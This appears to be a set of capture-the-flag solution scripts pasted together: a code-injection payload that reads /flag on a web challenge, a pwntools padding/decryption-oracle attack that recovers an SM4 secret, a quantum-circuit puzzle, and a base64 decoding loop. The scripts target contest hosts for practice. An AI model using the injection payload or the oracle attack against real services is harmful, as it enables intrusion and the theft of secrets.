import base64

from requests.api import post
url = 'http://4e60f405-9220-45f1-aab0-aedae67482f4.web.woooo.tech/'
url += '/'

postdata = {'code' : '1+1' }

req = requests.post(url= url ,data= postdata)
# print(req.url)
# print(req.encoding)
out = req.text

print(out)

from sys import base_exec_prefix
import requests
import base64

from requests.api import post
url = 'http://6911b89e-80ea-48af-aedf-ba32b774a919.web.woooo.tech/'
url += '/'

postdata = {'code' : 'new java.io.BufferedReader(new java.io.FileReader(new String[]{"/flag"})).readLine()'}

req = requests.post(url= url ,data= postdata)
out = req.text

print(out)

import numpy as np
from qiskit import *

init_state = [0, 0, 1, 0] # 此中 1 的位置被修改
# 判断 是   [0, 1, 0, 0] [0, 0, 0, 1]  coin2 == 1 -> 1
# 还是      [1, 0, 0, 0] [0, 0, 1, 0] coin2 == 0 -> 0

Circuitlist = [[9, [1, 0]],[9, [0, 1]]
          ]


qr = QuantumRegister(2) # 量子寄存器 两个量子位组成的寄存器
cr = ClassicalRegister(1) # 经典寄存器 1
qc = QuantumCircuit(qr, cr)

# 用以任意纯态初始化电路
qc.initialize(init_state, qr)

# print(qc.draw(output='text'))

# 设置电路
for i in Circuitlist:
    if i[0] == 1:
        qc.x(*i[1])
    elif i[0] == 2:
        qc.y(*i[1])
    elif i[0] == 3:
        qc.z(*i[1])
    elif i[0] == 4:
        qc.h(*i[1]) # 哈达玛门
    elif i[0] == 5:
        qc.i(*i[1])
    elif i[0] == 6:
        qc.rx(*i[1])
    elif i[0] == 7:
        qc.ry(*i[1])
    elif i[0] == 8:
        qc.rz(*i[1])
    elif i[0] == 9:
        qc.cx(*i[1]) # 受控非操作（CX）在控制量子位 0 和目标量子位 1 上，将量子位置于纠缠状态。   
    # else:
    #     raise ValueError('operation not recognized')

qc.measure(1 , 0) # 测量 q0_1 量子位
# qc.measure(0 , 0) # 测量 q0_0 量子位 测试用

print(qc.draw(output='text'))

sv_sim = Aer.get_backend('statevector_simulator')
qobj = assemble(qc)
job = sv_sim.run(qobj)

# 测量结果： {’输出':次数}
# 即测量 q0_1 量子位的输出
measurement_result = job.result().get_counts()

print(measurement_result)
for i in measurement_result:
    print(i)

# 目标：通过输出判断纯态

'''
      ┌──────────────────────┐┌───┐
q0_0: ┤0                     ├┤ X ├──■─────
      │  initialize(0,1,0,0) │└─┬─┘┌─┴─┐┌─┐
q0_1: ┤1                     ├──■──┤ X ├┤M├
      └──────────────────────┘     └───┘└╥┘
c0: 1/═══════════════════════════════════╩═
                                         0

      ┌───┐  
q0_0: ┤   ├───────■───■────────────■───■──────■───■───■────
      │   │             
q0_1: ┤   ├────■─────────■──────■───────────────────■──────
      │   │        
q0_2: ┤   ├────■─────────■──────■────────────────■─────────
      │   │               
q0_3: ┤   ├───────■───■─────────■─────────────■───■───■────
      └───┘                 
c0: 1/═════════════════════════════════════════════════════
                      
'''

from pwn import *
from pwnlib.tubes.remote import remote
from pwnlib.context import context

from gmssl import sm4 #https://github.com/duanhongyi/gmssl
from base64 import *

import time

def SendRecv1(p, msg):
    p.sendline(b64encode(msg))
    time.sleep(0.3)
    iv_msg_secret = p.recv()
    iv_msg_secret = iv_msg_secret[:iv_msg_secret.index(b'\n')]
    iv_msg_secret = b64decode(iv_msg_secret)
    iv = iv_msg_secret[:16]
    msg_secret = iv_msg_secret[16:]
    # print('获取到的 iv',iv)
    print('获取到 msg+secret',len(msg_secret),':',msg_secret)
    return iv,msg_secret


# if __name__ == "__main__":
# context(os='linux', arch='amd64', log_level='debug')
while True:
    T = time.perf_counter()
    context(os='linux', arch='amd64')
    p = remote('pwn.woooo.tech',10161)
    p.recv()

    # 1.1 得到 secret 长度
    for i in range(16): # 0~15bytes
        # print('i ==',i)
        p.sendline(b'1')
        # time.sleep(0.1)
        p.recv()

        msg = i * bytes([0])
        iv, msg_secret = SendRecv1(p, msg)
        if len(msg_secret) > 32:
            len_secret = 31 - i + 1
            break

    print('len_secret:',len_secret)
    # 希望程序时长短一点
    if len_secret < 20:
        break
    else:
        p.close()

print('2===================')
# 1.2 获取 msg_secret 从 32 位开始
secret = b''

for i in range(len_secret):
    p.sendline(b'1')
    time.sleep(0.1)
    p.recv()
    iv, msg_secret = SendRecv1(p, (32-len_secret+i)*bytes([0]))

    # 2 爆破 P2 最后一个字节
    
    e = msg_secret[:32] # 取前 16+16 位

    f = 256 * [False]
    for a in range(256):
        for j in range(256):
            if f[j] and (256-(a^j))%3!=0:
                break
        else:
            print('a ==', a)
            p.sendline(b'2')
            time.sleep(0.3)
            p.recv()

            ciphertext = 16*14*bytes([0]) + e[:15]+bytes([e[15]^a])+e[16:]

            p.sendline(b64encode(ciphertext))
            # time.sleep(0.05)
            p.recv()

            p.sendline(b64encode(iv))
            # time.sleep(0.05)
            b64end = p.recv()
            b64end = b64end[:b64end.index(b'\n')]
            print(b64end)
            if len(b64end)>1:
                print('sleep time ERROR!')
                exit(-1)
            elif b64end == b'':
                break
            elif b64end != b'=':
                f[a] = True
    else:
        print('ERROR!')
        exit(-1)

    Pend = bytes([a])
    print(Pend)
    secret = Pend + secret
    print('Lnow:',len(secret),'LShould:',len_secret,'secret:',secret)
    print('执行时间',(time.perf_counter()-T)/60,'分钟')

print('secret ==',secret)

print('3===================')
context(os='linux', arch='amd64', log_level='debug')
p.sendline(b'3')
time.sleep(0.2)
print(p.recv())
p.sendline(b64encode(secret))
time.sleep(0.2)
print(p.recv())
p.interactive()

'''
b'congratulations\nminiL{40198127-5c91-426a-88f0-7050051ea1a5}\n1.enc;\n2.dec;\n3.getflag;\n\n' 
'''

import base64

with open('./misc/story/story.txt','rb') as fr:
    fd = fr.readline()
    
rabbit = [1,1,2,3,5,8,13,21]
rabbit = rabbit[::-1]

for j in range(len(rabbit)):
    print(j,':')
    for i in range(rabbit[j]):
        try:
            fd = base64.b64decode(fd)
            print(i+1,end=',')
        except:
            pass
    print(';')
    fd = fd[::-1]
    if len(fd) < 50:
        print(fd)

with open('./misc/story/out1','wb') as fw:
    fw.write(fd)